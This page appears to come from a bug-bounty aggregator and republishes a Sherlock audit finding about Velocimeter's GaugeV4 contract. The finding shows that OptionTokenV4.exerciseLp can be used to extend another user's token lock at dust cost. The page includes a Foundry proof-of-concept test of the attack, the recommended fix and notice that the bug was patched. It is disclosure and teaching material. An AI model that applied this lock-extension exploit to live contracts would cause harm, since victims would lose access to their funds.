Skip to content
Business logic Audit finding Intermediate

`DepositWithLock` done via `OptionToken` can be abused to permanently lock a user position

The `depositWithLock` function in `GaugeV4` has a check to prevent re-locking someone else's position, but this check can be bypassed by calling `OptionTokenV4.exerciseLp` on behalf of the victim. An attacker can extend a victim's lock indefinitely at negligible cost, preventing them from unlocking their tokens.

Aymen0909 Follow with GalloDaSballo, KupiaSec and 12 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-06-velocimeter-judging/issues/20

Found by

Aymen0909, GalloDaSballo, KupiaSec, McToady, Nyx, bin2chen, cawfree, cryptic, cu5t0mPe0, dandan, eeyore, hulkvision, jovi, talfao, tvdung94

Summary

OptionTokenV4.exerciseLp allows depositing to other people locks and extend it permanently at close to zero cost

Vulnerability Detail

GaugeV4.depositWithLock has a check to prevent someone else from re-locking a user position

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/GaugeV4.sol#L443-L445

Solidity
    function depositWithLock(address account, uint256 amount, uint256 _lockDuration) external lock {
        require(msg.sender == account || isOToken[msg.sender],"Not allowed to deposit with lock"); 
        _deposit(account, amount, 0);

This check can be sidestepped by exercising a position on behalf of a victim via the OptionTokenV4

By doing this, any user can have their position permanently frozen at close to no cost to the attacker

The cost of the attack is 1 wei for each tokens involved (necessary to not revert on addLiquidity, meaning that the cost is extremely low

Impact

Victims will be unable to unlock their unlock their positions at close to no cost to the attacker

Code Snippet

The following POC demonstrates the attack The attacker spends 3 weis of oToken as well as dust amounts of DAI and Flow to increase the lock duration of the victim

Solidity
function testExerciseLp_attack() public { 
        vm.startPrank(address(owner)); 
        FLOW.approve(address(oFlowV4), TOKEN_1);
        // mint Option token to owner 2
        oFlowV4.mint(address(owner2), TOKEN_1 - 3);

        address attacker = address(0xb4d);
        FLOW.mint(attacker, 3);
        DAI.mint(attacker, 3);
        oFlowV4.mint(address(attacker), 3);

        /// Not relevant 
        washTrades();
        vm.stopPrank();
        uint256 flowBalanceBefore = FLOW.balanceOf(address(owner2));
        uint256 oFlowV4BalanceBefore = oFlowV4.balanceOf(address(owner2));
        uint256 daiBalanceBefore = DAI.balanceOf(address(owner2));
        uint256 treasuryDaiBalanceBefore = DAI.balanceOf(address(owner));
        uint256 rewardGaugeDaiBalanceBefore = DAI.balanceOf(address(gauge));

        (uint256 underlyingReserve, uint256 paymentReserve) = IRouter(router).getReserves(address(FLOW), address(DAI), false);
        uint256 paymentAmountToAddLiquidity = (TOKEN_1 * paymentReserve) /  underlyingReserve;

        uint256 discountedPrice = oFlowV4.getLpDiscountedPrice(TOKEN_1,20);
        /// END Not revlevant
      
        vm.startPrank(address(owner2));
        DAI.approve(address(oFlowV4), TOKEN_100K);
        oFlowV4.exerciseLp(TOKEN_1 - 3, TOKEN_1 - 3, address(owner2),20,block.timestamp);
        vm.stopPrank();

        // Check end
        uint256 end = gauge.lockEnd(address(owner2));

        /// @audit Move towards unlock
        vm.warp(end - 1);

        /// @audit Attacker locks for owner2, cost is negligible
        vm.startPrank(address(attacker));
        FLOW.approve(address(oFlowV4), TOKEN_1);
        DAI.approve(address(oFlowV4), TOKEN_100K);
        oFlowV4.exerciseLp(3, 3, address(owner2),20,block.timestamp);
        vm.stopPrank();

        uint256 newEnd = gauge.lockEnd(address(owner2));
        /// @audit We delayed the claims with a cost of 3 oFLOW and 2 units of DAI
        assertGt(newEnd, end, "delayed");
    }

Tool used

Manual Review

Recommendation

We should not be able to exercise on behalf of someone else AND increase their locks

Whenever the recipient is someone else, the lock should not be increased, or alternatively you remove the functionality and only allow the recipient to exercise

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Velocimeter/v4-contracts/pull/9

sherlock-admin2

The Lead Senior Watson signed off on the fix.

The original report as published on Sherlock, by Aymen0909. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the access control check in `depositWithLock` only verifies the direct caller, but `OptionTokenV4.exerciseLp` can call it on behalf of any user without restricting who the recipient is, allowing lock extension.

Impact

Victims will be unable to unlock their positions at close to no cost to the attacker.

What the attacker needed

Victim has a locked position; attacker has a tiny amount of tokens

The fix

The protocol team fixed this issue by ensuring that exercising on behalf of someone else does not increase their lock, as per the linked PR.

How it was found

  1. Victim exercises LP to create a locked position.
  2. Attacker waits until near the end of the lock period.
  3. Attacker calls `exerciseLp` with the victim's address as recipient, using a tiny amount.
  4. The victim's lock end time is extended, delaying unlock.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In some crypto systems, you can lock your tokens for a period to earn rewards. The code tries to stop others from extending your lock, but a loophole lets an attacker do it through a different function. The attacker spends almost nothing to keep your tokens locked longer, so you cannot access them when you want.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Aymen0909

View all

22 more disclosed reports, best first.

More from Velocimeter

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.